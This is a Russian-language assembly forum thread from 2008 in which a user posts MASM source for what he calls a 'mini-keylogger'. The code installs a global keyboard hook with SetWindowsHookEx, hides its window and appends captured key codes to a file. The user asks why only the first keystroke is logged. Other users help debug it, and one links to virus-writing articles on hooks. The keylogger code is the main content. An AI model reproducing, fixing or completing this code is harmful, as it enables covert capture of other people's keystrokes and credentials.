Помогите с SetWindowsHookEx

Тема в разделе "WASM.ASSEMBLER", создана пользователем MrMiXeR, 23 авг 2008.

  1. MrMiXeR

    MrMiXeR New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2008
    Сообщения:
    97
    Пишу мини-кейлоггер, ставлю глобальные хуки. есть окно, которое принимает из длл события хука


    вот собственно процедура окна

    DlgProc proc hWindow:lol: WORD, uMsg:lol: WORD, wParam:lol: WORD, lParam:lol: WORD
    .if uMsg == WM_INITDIALOG
    invoke ShowWindow, hWindow, NULL
    invoke LoadLibrary, offset LibName
    mov esi, eax
    invoke GetProcAddress, eax, offset InstallHook
    push hWindow
    call eax
    .elseif uMsg == WM_MOUSEHOOK
    invoke CreateFileA, offset FilePath, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_WRITE or FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    mov esi, eax
    invoke GetFileSize, eax, NULL
    invoke SetFilePointer, esi, eax, NULL, NULL
    push 0
    lea ebx, dword ptr ds:[esp]
    invoke WriteFile, esi, addr wParam, 1, ebx, NULL
    add esp, 4
    invoke CloseHandle, esi

    .endif
    DlgProc endp

    вот процедура длл

    UninstallHook proc
    invoke UnhookWindowsHookEx,hHook
    ret
    UninstallHook endp

    FilePath db "C:\1.txt", 0
    MouseProc proc nCode:lol: WORD,wParam:lol: WORD,lParam:lol: WORD
    local ScanCode:byte
    local Reserv:dword
    invoke CallNextHookEx,hHook,nCode,wParam,lParam
    invoke PostMessage,hWnd,WM_MOUSEHOOK,wParam,0
    xor eax, eax
    ret
    MouseProc endp

    InstallHook proc hWin:dword
    push hWin
    pop hWnd
    invoke SetWindowsHookEx, WH_KEYBOARD, addr MouseProc, hInst, NULL
    mov hHook,eax
    ret

    Проблема заключается в следущем: код работает, но передаёт сообщение окну почему-то только единажды, последущие нажатия почему-то отказывается. Всю голову сломал. Что нетак ?
     
  2. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    Код (Text):
    1. MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
    2. local ScanCode:byte
    3. local Reserv:dword
    4.     invoke CallNextHookEx,hHook,nCode,wParam,lParam
    5.     invoke PostMessage,hWnd,WM_MOUSEHOOK,wParam,0
    6. xor eax, eax; <-------------------
    7. ret
    8. MouseProc endp
    насколько помню надо возращать не 0, а значение, полученное в результате вызова CallNextHookEx
     
  3. MrMiXeR

    MrMiXeR New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2008
    Сообщения:
    97
    Подставил после CallNextHookEx

    mov ESI, EAX

    и вместо xor eax, eax

    mov eax, esi

    но всё равно такая же байда
     
  4. GMax

    GMax Member

    Публикаций:
    0
    Регистрация:
    3 июл 2006
    Сообщения:
    218
    На эту тему ОЧЕНЬ много статей!
    Здесь, по поему, проблема с hWnd, необходима разделяемая секция данных.
     
  5. MrMiXeR

    MrMiXeR New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2008
    Сообщения:
    97
    компилил так

    @echo off

    del Hook.obj
    del Hook.dll

    \masm32\bin\ml /c /coff Hook.asm

    \masm32\bin\Link /SECTION:.bss,S /SUBSYSTEM:WINDOWS /DLL /DEF:Hook.def Hook.obj

    dir tstdll.*

    pause
     
  6. diamond

    diamond New Member

    Публикаций:
    0
    Регистрация:
    21 май 2004
    Сообщения:
    507
    Адрес:
    Russia
    DlgProc, во-первых, должна возвращать нужное значение; во-вторых, если уж она использует ebx, она должна его сохранять/восстанавливать.
    upd: разумеется, не только ebx, но и esi тоже
     
  7. MrMiXeR

    MrMiXeR New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2008
    Сообщения:
    97
    Во-первых, я написал работает, а значит наверное она это делает
    Во-вторых, я не пойму каким образом это может отразиться на работе длл?

    Например я не вижу что бы в длл использовались эти регисты

    А так как тот метод подсказанный мне фримэном не работает, так наверное и дело-то вовсе не в этом и следует рассматривать первоначальный метод
     
  8. Magnum

    Magnum New Member

    Публикаций:
    0
    Регистрация:
    29 дек 2007
    Сообщения:
    925
    скажу честно
    лень разбираться в коде
    вот готовые решения по твоему вопросу

    http://vx.netlux.org/tpoc/Articles/Hooks1.htm
    http://vx.netlux.org/tpoc/Articles/Hooks2.htm

    https://www.wasm.ru/article.php?article=1001024
     
  9. diamond

    diamond New Member

    Публикаций:
    0
    Регистрация:
    21 май 2004
    Сообщения:
    507
    Адрес:
    Russia
    А при чём здесь dll? Оконная процедура вроде бы в главном потоке? А системный код, вызывающий оконную процедуру, очень даже использует эти регистры.
    Ну например: вызывается PostMessage первый раз, она посылает сообщение окну, сообщение доходит до окна, но оконная процедура нагло разрушает ebx и esi. Системный код (user32), не ожидающий этого, фигеет и дальнейшие сообщения блокирует. Я не утверждаю, что всё происходит именно так, но в качестве одной из версий imho годится.
     
  10. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    пожалуй это важно
    вы должны быть уверенны в том, что делает, а чего - нет.
    примерно такой код
    Код (Text):
    1. DlgProc proc hWindow:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    2. .if uMsg == WM_INITDIALOG
    3. blablabla
    4. .endif
    5. DlgProc endp
    6. blablabla
    7. invoke ExitProcess,0
    может привести к завершению процесса, другое дело
    Код (Text):
    1. DlgProc proc hWindow:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    2. .if uMsg == WM_INITDIALOG
    3. blablabla
    4. .endif
    5. mov eax, чо_надо
    6. ret<---------
    7. DlgProc endp
    8. blablabla
    9. invoke ExitProcess,0